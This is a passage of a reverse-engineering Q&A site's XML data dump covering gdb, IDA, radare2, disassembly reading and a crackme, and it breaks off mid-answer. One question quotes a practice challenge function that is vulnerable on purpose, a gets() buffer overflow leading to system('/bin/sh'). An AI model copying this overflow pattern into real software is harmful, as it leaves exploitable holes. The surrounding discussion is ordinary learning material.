  <row Id="18706" PostTypeId="2" ParentId="18705" CreationDate="2018-07-06T08:49:22.360" Score="0" Body="&lt;p&gt;It seems you may be looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb --args ./RelayD start --daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(although you probably want to avoid &lt;code&gt;--daemon&lt;/code&gt; if that's optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that above (shell) command is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb ./RelayD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... followed by (on the GDB prompt):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;run start --daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how in both cases I am passing the arguments as per the script line and how I am passing the &lt;em&gt;relative&lt;/em&gt; path instead of merely the name of an executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There &lt;em&gt;may&lt;/em&gt; be another catch here&lt;/strong&gt;, but it's hard to tell and you don't explicitly mention the distro you're on. However, it's possible that for your system you need to enable multilib support [1] so that your x86-64 OS can run x86-32 binaries (that &lt;code&gt;RelayD&lt;/code&gt; ELF file) and that you may have to install some packages you have to install in order to have GDB support this scenario. The alternative could be to run a 32-bit container (which still requires multilib, if I am not mistaken) and inside that prepare and debug with a 32-bit GDB or use a 32-bit VM to get the debugging done. But for all I know most distros support the scenario of debugging a 32-bit binary on the 64-bit host system. So it's likely a matter of installing some extra packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and last but not least you may be missing some of the shared objects (libraries) that the 32-bit executable expects. Use &lt;code&gt;readelf&lt;/code&gt; or &lt;code&gt;ldd&lt;/code&gt; on your &lt;code&gt;RelayD&lt;/code&gt; to find out more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;code&gt;yum groupinstall &quot;Compatibility Libraries&quot;&lt;/code&gt; should do the trick, provided &lt;code&gt;multilib_policy=all&lt;/code&gt; is set in your &lt;code&gt;yum.conf&lt;/code&gt; and you're indeed running on RHEL (or CentOS or Scientific Linux) as suggested by the GDB output you gave. Also make sure &lt;code&gt;yum.conf&lt;/code&gt; does &lt;em&gt;not&lt;/em&gt; contain &lt;code&gt;exclude = *.i?86&lt;/code&gt; to preclude the 32-bit packages from being considered (&lt;code&gt;exactarch=1&lt;/code&gt; may also have an adverse effect, so consult &lt;code&gt;man yum.conf&lt;/code&gt;). You can also pick and choose your own compatibility libraries by searching the list with &lt;code&gt;yum search compat|grep ^compat-&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-07-06T09:10:27.287" LastActivityDate="2018-07-06T09:10:27.287" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18707" PostTypeId="1" CreationDate="2018-07-06T13:48:56.523" Score="2" ViewCount="710" Body="&lt;p&gt;How can I set break point when the value on   specific address is changed while I debug it with ida&lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2018-07-08T17:23:06.927" Title="Ida break point on address changed" Tags="|ida|breakpoint|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18708" PostTypeId="1" AcceptedAnswerId="18709" CreationDate="2018-07-06T14:36:02.477" Score="-2" ViewCount="471" Body="&lt;p&gt;Can anyone explain the following code as it's an array in assembly. &#xA;I can't understand can you help me to figure it out line by line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8wH0f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wH0f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q.1) what does the 401024  &amp;amp; 40102E   line does ?&lt;/p&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="24603" LastEditDate="2018-07-06T14:54:45.763" LastActivityDate="2018-07-06T15:45:36.263" Title="Understand help me array in assembly?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="0" ClosedDate="2018-07-11T18:53:22.503" ContentLicense="CC BY-SA 4.0" />
  <row Id="18709" PostTypeId="2" ParentId="18708" CreationDate="2018-07-06T15:45:36.263" Score="3" Body="&lt;p&gt;The explanation is given in the book immediately following the listing (Practical Malware Analysis Chapter 6 page 128 &quot;Recognizing C Code Constructs in Assembly&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this listing, the base address of array b corresponds to &lt;code&gt;dword_40A000&lt;/code&gt; ,&#xA;  and the base address of array a corresponds to &lt;code&gt;var_14&lt;/code&gt; . Since these are both&#xA;  arrays of integers, each element is of size 4, although the instructions at 1&#xA;  and 2 differ for accessing the two arrays. In both cases, &lt;code&gt;ecx&lt;/code&gt; is used as the&#xA;  index, which is multiplied by 4 to account for the size of the elements. The&#xA;  resulting value is added to the base address of the array to access the proper&#xA;  array element.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-07-06T15:45:36.263" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18710" PostTypeId="1" AcceptedAnswerId="18711" CreationDate="2018-07-06T16:12:16.460" Score="0" ViewCount="6347" Body="&lt;p&gt;In the following picture the line i want to mention is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp+eax*4+0Ch], edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;eax&lt;/code&gt; is the index in the array. But, where is the address of the array to access?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what does mean this line of code ? (&lt;code&gt;0Ch&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/smNxO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/smNxO.jpg&quot; alt=&quot;Full context of the asm line&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="53" LastEditDate="2018-07-06T16:22:38.613" LastActivityDate="2018-07-06T16:33:12.460" Title="index of array in assembly?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="0" ClosedDate="2018-07-11T18:53:35.517" ContentLicense="CC BY-SA 4.0" />
  <row Id="18711" PostTypeId="2" ParentId="18710" CreationDate="2018-07-06T16:33:12.460" Score="4" Body="&lt;p&gt;Usually, when running through an array, we can find the following lines of assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [base_address_of_array + array_index * size_of_an_item_in_array], edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case, my guess would be that the array is on the stack (that is why you find &lt;code&gt;esp&lt;/code&gt; as part of the base address of the array. Then, you also have an offset to &lt;code&gt;esp&lt;/code&gt; which is &lt;code&gt;0Ch&lt;/code&gt; (which is 12 in decimal). So, the array is located at &lt;code&gt;esp + 0Ch&lt;/code&gt;. Then, &lt;code&gt;eax&lt;/code&gt; is the index and &lt;code&gt;4&lt;/code&gt; is the size of an item in the array (probably an integer of 4 bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at the whole CFG, I would translate it back to C in something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int array[4];&#xA;&#xA;for (int i = 0; i &amp;lt; 4; ++i)&#xA;  array[i] = i;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I supposed that the blue arc in the CFG is getting back to &lt;code&gt;loc_401381&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-07-06T16:33:12.460" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18712" PostTypeId="1" CreationDate="2018-07-06T16:49:28.983" Score="1" ViewCount="347" Body="&lt;p&gt;I've been messing around a little with Radare2 trying to master binary exploitation and patching.&lt;br&gt;&#xA;I added a couple of assembly instructions to an &lt;em&gt;x86 elf binary&lt;/em&gt; in a non-executable section of the file, precisely the section &lt;em&gt;LOAD1&lt;/em&gt; I spotted after listing the available sections of the executable :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; S=&#xA;00* 0x08048000 |#################################-----------------------------------------------| 0x0804868c  1.6K mr-x  LOAD0&#xA;01  0x08049f0c |---------------------------------------------------------------------------#####| 0x0804a028   280 mrw-  LOAD1&#xA;=&amp;gt;  0x080483d0 |--------------------------------------------------------------------------------| 0x080483cf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when I tried to execute the binary I got the following error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Inconsistency detected by ld.so: dl-version.c: 205: _dl_check_map_versions: Assertion `needed != NULL' failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the instructions types I added are not relevant in this matter as the issue arises with &lt;code&gt;mov&lt;/code&gt; instructions as well as with simple &lt;code&gt;jmp&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I know, the linking step had been performed at the compilation/linking of the original source code, so how does it come that &lt;strong&gt;ld&lt;/strong&gt; is involved here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly causes the linker inconsistency triggering the above error ?  &lt;/p&gt;&#xA;" OwnerUserId="24851" LastEditorUserId="24851" LastEditDate="2018-07-06T17:21:40.047" LastActivityDate="2019-05-03T04:04:35.773" Title="ELF binary corrupted after adding instruction in non-executable section" Tags="|x86|radare2|patching|binary-editing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18713" PostTypeId="1" CreationDate="2018-07-06T18:29:39.527" Score="0" ViewCount="149" Body="&lt;p&gt;I have a process that runs and does it's job sometimes (takes some files and does some work). However when I feed it some &lt;em&gt;incorrect&lt;/em&gt; files, it fails. I'd like, if possible, to record every step the process goes through, twice and then compare them to see where the two runs diverge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end game here is to force the process to work with the incorrect files; it doesn't really matter what then happens, assuming I can get past this issue - it's become more of a quest for an answer than any real usable outcome at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm tentatively OK with using IDA Pro Free, and reasonable comfortable using cheat engine. I'm happy to learn a new program, if there is one that does this task specifically that'd be great! If there's a program that can record the steps for one iteration and save them to a file I can read, I'm happy to write my own program to compare and find the differences!&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2018-07-07T03:11:43.633" Title="Figuring out where 2 executions of the same process differ" Tags="|ida|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18714" PostTypeId="2" ParentId="18712" CreationDate="2018-07-07T00:15:09.443" Score="1" Body="&lt;p&gt;Note that no section information is provided in your question. &lt;code&gt;LOAD0&lt;/code&gt; and &lt;code&gt;LOAD1&lt;/code&gt; refer to loadable segments. Refer to the SysV ABI for more details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From what I know, the linking step had been performed at the compilation/linking of the original source code, so how does it come that &lt;strong&gt;ld&lt;/strong&gt; is involved here ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The link editor &lt;a href=&quot;http://man7.org/linux/man-pages/man1/ld.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ld&lt;/a&gt; is not involved here; rather, the dynamic linker/loader &lt;a href=&quot;http://man7.org/linux/man-pages/man8/ld.so.8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ld.so&lt;/a&gt; is. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What exactly causes the linker inconsistency triggering the above error ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;LD_DEBUG=symbols,bindings&lt;/code&gt; or &lt;code&gt;LD_DEBUG=all&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/22564780/debugging-ld-inconsistency-detected-by-ld-so&quot;&gt;https://stackoverflow.com/questions/22564780/debugging-ld-inconsistency-detected-by-ld-so&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-07-07T00:15:09.443" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18715" PostTypeId="2" ParentId="18713" CreationDate="2018-07-07T03:11:43.633" Score="1" Body="&lt;p&gt;The terms you are looking at , when you want to do a search on this site to answer your question are &quot;&lt;strong&gt;Differential Debugging&lt;/strong&gt;&quot;, Runtime &quot;&lt;strong&gt;Trace Analysis&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;Trace Recording&lt;/strong&gt;&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link answers your question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2567/18402&quot;&gt;https://reverseengineering.stackexchange.com/a/2567/18402&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read this: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16020/18402&quot;&gt;https://reverseengineering.stackexchange.com/a/16020/18402&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use &lt;strong&gt;IDA&lt;/strong&gt; (not sure if it's available in te free version though) you can do an &lt;strong&gt;Instruction or Function Trace&lt;/strong&gt; and even &lt;strong&gt;REPLAY&lt;/strong&gt;,  as described in this answer here : &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2488/18402&quot;&gt;https://reverseengineering.stackexchange.com/a/2488/18402&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18402" LastActivityDate="2018-07-07T03:11:43.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18716" PostTypeId="1" CreationDate="2018-07-07T05:14:15.680" Score="4" ViewCount="1703" Body="&lt;p&gt;While disassembling a binary, IDA decompiler decompiles the call as &lt;code&gt;mmap(0x80000000, 4096, 7, 50, -1, 0);&lt;/code&gt; While there is nothing wrong with the decompilation itself, it could be more useful to decode the &lt;code&gt;flags&lt;/code&gt; value as an OR-ed expression of known mnemonics, e.g. &lt;code&gt;MAP_SHARED|MAP_PRIVATE&lt;/code&gt; (as in man page of &lt;code&gt;mmap&lt;/code&gt;). can there anything can be done to help IDA display that (apart from writing a plugin myself, of course)?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-07-08T14:06:40.880" Title="Resolving FLAGS bits with IDA" Tags="|ida|decompilation|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18717" PostTypeId="1" CreationDate="2018-07-07T09:33:10.640" Score="3" ViewCount="73" Body="&lt;p&gt;Im working on the &lt;code&gt;bof&lt;/code&gt; challange in &lt;a href=&quot;http://pwnable.kr/play.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pwnable.kr/play.php&lt;/a&gt;.&#xA;the source code has a function &lt;code&gt;func&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void func(int key){&#xA;   char overflowme[32];&#xA;   printf(&quot;overflow me : &quot;);&#xA;   gets(overflowme);    // smash me!&#xA;   if(key == 0xcafebabe){&#xA;       system(&quot;/bin/sh&quot;);&#xA;   }&#xA;   else{&#xA;       printf(&quot;Nah..\n&quot;);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when disassembling, it starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000062c &amp;lt;func&amp;gt;:&#xA;62c:    55                      push   %ebp&#xA;62d:    89 e5                   mov    %esp,%ebp&#xA;62f:    83 ec 48                sub    $0x48,%esp&#xA;632:    65 a1 14 00 00 00       mov    %gs:0x14,%eax&#xA;638:    89 45 f4                mov    %eax,-0xc(%ebp)&#xA;63b:    31 c0                   xor    %eax,%eax&#xA;63d:    c7 04 24 8c 07 00 00    movl   $0x78c,(%esp)&#xA;644:    e8 fc ff ff ff          call   645 &amp;lt;func+0x19&amp;gt;&#xA;649:    8d 45 d4                lea    -0x2c(%ebp),%eax&#xA;64c:    89 04 24                mov    %eax,(%esp)&#xA;64f:    e8 fc ff ff ff          call   650 &amp;lt;func+0x24&amp;gt;&#xA;654:    81 7d 08 be ba fe ca    cmpl   $0xcafebabe,0x8(%ebp)&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;overflowme&lt;/code&gt; buffer is 32 byte , but instruction &lt;code&gt;62f&lt;/code&gt; allocates 0x48=72 bytes on the stack, why does it allocates much more memory than it seems to need ?&lt;/p&gt;&#xA;" OwnerUserId="24929" LastActivityDate="2018-07-07T09:33:10.640" Title="more memory allocated on the stack than seems to be needed" Tags="|disassembly|stack|" AnswerCount="0" CommentCount="0" ClosedDate="2018-07-09T09:44:45.387" ContentLicense="CC BY-SA 4.0" />
  <row Id="18718" PostTypeId="1" CreationDate="2018-07-07T14:20:49.277" Score="1" ViewCount="1325" Body="&lt;p&gt;I'm using radare2 and I've noticed that it simply prints function offsets rather than function names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some tests and I've discovered that on Kali it prints offsets and on debian it prints names.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see how r2 behaves in Kali:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KGkZM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KGkZM.png&quot; alt=&quot;raadre2 on kali linux showing only call 0x0ffset&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is, for example, printing &lt;code&gt;call 0x4ce645&lt;/code&gt; insted of &lt;code&gt;call reloc.puts_WhatEver&lt;/code&gt;. When I inspect ELF properties, I can see that function names are indeed located at that offset.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tvgrq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvgrq.png&quot; alt=&quot;readelf -r&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know what is making r2 behave that way. Here is some info about Kali environment I'm using.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DE7Vk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DE7Vk.png&quot; alt=&quot;kali environment settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when using r2 on Debian and debugging the exact same file I can prefectly see function names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s5j6s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s5j6s.png&quot; alt=&quot;function name printing in debian&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some info about Debian environment I'm using.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M2P1p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2P1p.png&quot; alt=&quot;Debian environment settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file I'm debugging in both Kali and Debian is exactly the same.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uI41z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uI41z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6FDsj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6FDsj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I get r2 to behave in Kali exactly the same way it is behaving in Debian?&lt;/p&gt;&#xA;" OwnerUserId="23491" LastActivityDate="2018-07-07T14:20:49.277" Title="radare2 not showing function names" Tags="|radare2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18719" PostTypeId="1" AcceptedAnswerId="19287" CreationDate="2018-07-07T15:15:53.410" Score="2" ViewCount="693" Body="&lt;p&gt;This is the python code I wrote of a simple crackme that I have reversed but I am not able to understand what the recursive function here does. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;def the_process(stored, inp, size):&#xA;    idx = 0&#xA;    global thstr&#xA;    idx = stored.index(inp[0])&#xA;    if idx:&#xA;        the_process(stored[:idx], inp[1:], idx)&#xA;    if size - 1 != idx:&#xA;        the_process(stored[1+idx:1+idx + size - idx -1],inp[idx+1:], size - idx - 1)&#xA;    thstr.append(inp[0])&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    thstr = []&#xA;    stored = &quot;MGNCHXWIZDJAOKPELYSFUTV&quot;&#xA;    input1 = &quot;TFSLPOJZCGMNHWXIDAKEYUV&quot;&#xA;    the_process(stored, list(input1), 23)&#xA;    print &quot;output : &quot; + &quot;&quot;.join(thstr)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;input1&lt;/code&gt; is a sample valid input I could figure out for the function. To get the crackme validated I need &lt;code&gt;thstr&lt;/code&gt; to be &lt;code&gt;MNGHCWZIJDXOPKLESUVTFYA&lt;/code&gt; in the end. How can I get the input to make that happen?&lt;/p&gt;&#xA;" OwnerUserId="24931" LastActivityDate="2018-09-08T12:16:01.513" Title="How can I reverse this recursive function?" Tags="|python|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18720" PostTypeId="2" ParentId="18719" CreationDate="2018-07-07T17:50:13.513" Score="1" Body="&lt;p&gt;you say you wrote it and you can understand what you wrote ?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;have you tried debugging it or stepping through the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python -m pdb foo.py&#xA;&amp;gt; c:\foo.py(1)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; def the_process(stored, inp, size):&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(11)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; if __name__ == &quot;__main__&quot;:&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(12)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; thstr = []&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(13)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; stored = &quot;MGNCHXWIZDJAOKPELYSFUTV&quot;&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(14)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; input1 = &quot;TFSLPOJZCGMNHWXIDAKEYUV&quot;&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(15)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; the_process(stored, list(input1), 23)&#xA;(Pdb) p strored&#xA;*** NameError: NameError(&quot;name 'strored' is not defined&quot;,)&#xA;(Pdb) p stored&#xA;'MGNCHXWIZDJAOKPELYSFUTV'&#xA;(Pdb) p list(input1)&#xA;['T', 'F', 'S', 'L', 'P', 'O', 'J', 'Z', 'C', 'G', 'M', 'N', 'H', 'W', 'X', 'I', 'D', 'A', 'K', 'E', 'Y', 'U', 'V']&#xA;(Pdb) p size&#xA;*** NameError: NameError(&quot;name 'size' is not defined&quot;,)&#xA;(Pdb) s&#xA;--Call--&#xA;&amp;gt; c:\foo.py(1)the_process()&#xA;-&amp;gt; def the_process(stored, inp, size):&#xA;(Pdb) p size&#xA;23&#xA;(Pdb) p inp&#xA;['T', 'F', 'S', 'L', 'P', 'O', 'J', 'Z', 'C', 'G', 'M', 'N', 'H', 'W', 'X', 'I', 'D', 'A', 'K', 'E', 'Y', 'U', 'V']&#xA;(Pdb) p stored&#xA;'MGNCHXWIZDJAOKPELYSFUTV'&#xA;(Pdb) p thstr&#xA;[]&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(2)the_process()&#xA;-&amp;gt; idx = 0&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(4)the_process()&#xA;-&amp;gt; idx = stored.index(inp[0])&#xA;(Pdb) s&#xA;&amp;gt; c:\foo.py(5)the_process()&#xA;-&amp;gt; if idx:&#xA;(Pdb) p idx&#xA;21&#xA;(Pdb) p inp&#xA;['T', 'F', 'S', 'L', 'P', 'O', 'J', 'Z', 'C', 'G', 'M', 'N', 'H', 'W', 'X', 'I', 'D', 'A', 'K', 'E', 'Y', 'U', 'V']&#xA;(Pdb) p inp[0]&#xA;'T'&#xA;(Pdb) ?&#xA;&#xA;Documented commands (type help &amp;lt;topic&amp;gt;):&#xA;========================================&#xA;EOF    bt         cont      enable  jump  pp       run      unt&#xA;a      c          continue  exit    l     q        s        until&#xA;alias  cl         d         h       list  quit     step     up&#xA;args   clear      debug     help    n     r        tbreak   w&#xA;b      commands   disable   ignore  next  restart  u        whatis&#xA;break  condition  down      j       p     return   unalias  where&#xA;&#xA;Miscellaneous help topics:&#xA;==========================&#xA;exec  pdb&#xA;&#xA;Undocumented commands:&#xA;======================&#xA;retval  rv&#xA;&#xA;(Pdb) rv&#xA;*** Not yet returned!&#xA;(Pdb) retval&#xA;*** Not yet returned!&#xA;(Pdb) bt&#xA;  c:\python27\lib\bdb.py(400)run()&#xA;-&amp;gt; exec cmd in globals, locals&#xA;  &amp;lt;string&amp;gt;(1)&amp;lt;module&amp;gt;()&#xA;  c:\foo.py(15)&amp;lt;module&amp;gt;()&#xA;-&amp;gt; the_process(stored, list(input1), 23)&#xA;&amp;gt; c:\foo.py(5)the_process()&#xA;-&amp;gt; if idx:&#xA;(Pdb) pp&#xA;*** SyntaxError: SyntaxError('unexpected EOF while parsing', ('&amp;lt;string&amp;gt;', 0, 0, ''))&#xA;(Pdb) a&#xA;stored = MGNCHXWIZDJAOKPELYSFUTV&#xA;inp = ['T', 'F', 'S', 'L', 'P', 'O', 'J', 'Z', 'C', 'G', 'M', 'N', 'H', 'W', 'X', 'I', 'D', 'A', 'K', 'E', 'Y', 'U', 'V'&#xA;]&#xA;size = 23&#xA;(Pdb) l&#xA;  1     def the_process(stored, inp, size):&#xA;  2         idx = 0&#xA;  3         global thstr&#xA;  4         idx = stored.index(inp[0])&#xA;  5  -&amp;gt;     if idx:&#xA;  6             the_process(stored[:idx], inp[1:], idx)&#xA;  7         if size - 1 != idx:&#xA;  8             the_process(stored[1+idx:1+idx + size - idx -1],inp[idx+1:], size - idx - 1)&#xA;  9         thstr.append(inp[0])&#xA; 10&#xA; 11     if __name__ == &quot;__main__&quot;:&#xA;(Pdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-07-07T17:50:13.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18721" PostTypeId="2" ParentId="18697" CreationDate="2018-07-07T18:00:45.443" Score="0" Body="&lt;p&gt;&lt;code&gt;andps&lt;/code&gt; stands for &quot;Bitwise Logical AND of Packed Single Precision Floating-Point Values&quot;, i.e. the contents of the register is interpreted as four separate single precision (32-bit) values and a bitwise AND operation is performed using the second operand as the mask. Since floats do not have bitwise operations defined, the CPU performs it on the raw values in the registers as if they were just a stream of bits. I.e. the result of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;andps   xmm0, ds:xmmword_108365D0&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is similar  to the following operations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xmm0.m128i_u32[0] &amp;amp;= 0x7FFFFFFF;&#xA; xmm0.m128i_u32[1] &amp;amp;= 0x7FFFFFFF;&#xA; xmm0.m128i_u32[2] &amp;amp;= 0x7FFFFFFF;&#xA; xmm0.m128i_u32[3] &amp;amp;= 0x7FFFFFFF;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed simultaneously (&lt;code&gt;m128i_u32&lt;/code&gt; here represents the contents of the xmm register as an array of four unsigned 32-bit integers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;a href=&quot;https://en.wikipedia.org/wiki/Single-precision_floating-point_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;IEEE floating-point format&lt;/a&gt; uses most significant bit (bit 31) as the sign of the value, and this operation clears this bit, obviously this operation makes the number always positive, i.e. it's an equivalent of &lt;code&gt;fabs()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following two operations (&lt;code&gt;subss&lt;/code&gt; and &lt;code&gt;mulss&lt;/code&gt; are of the &quot;Scalar Single-Precision&quot; category, i.e. they use only the low 32 bits of the register as the floating-point value, that's why the decompiler tried to convert the calculation to a single float, however it could not discard the &lt;code&gt;andps&lt;/code&gt; operation because it is performed on the whole register, which resulted 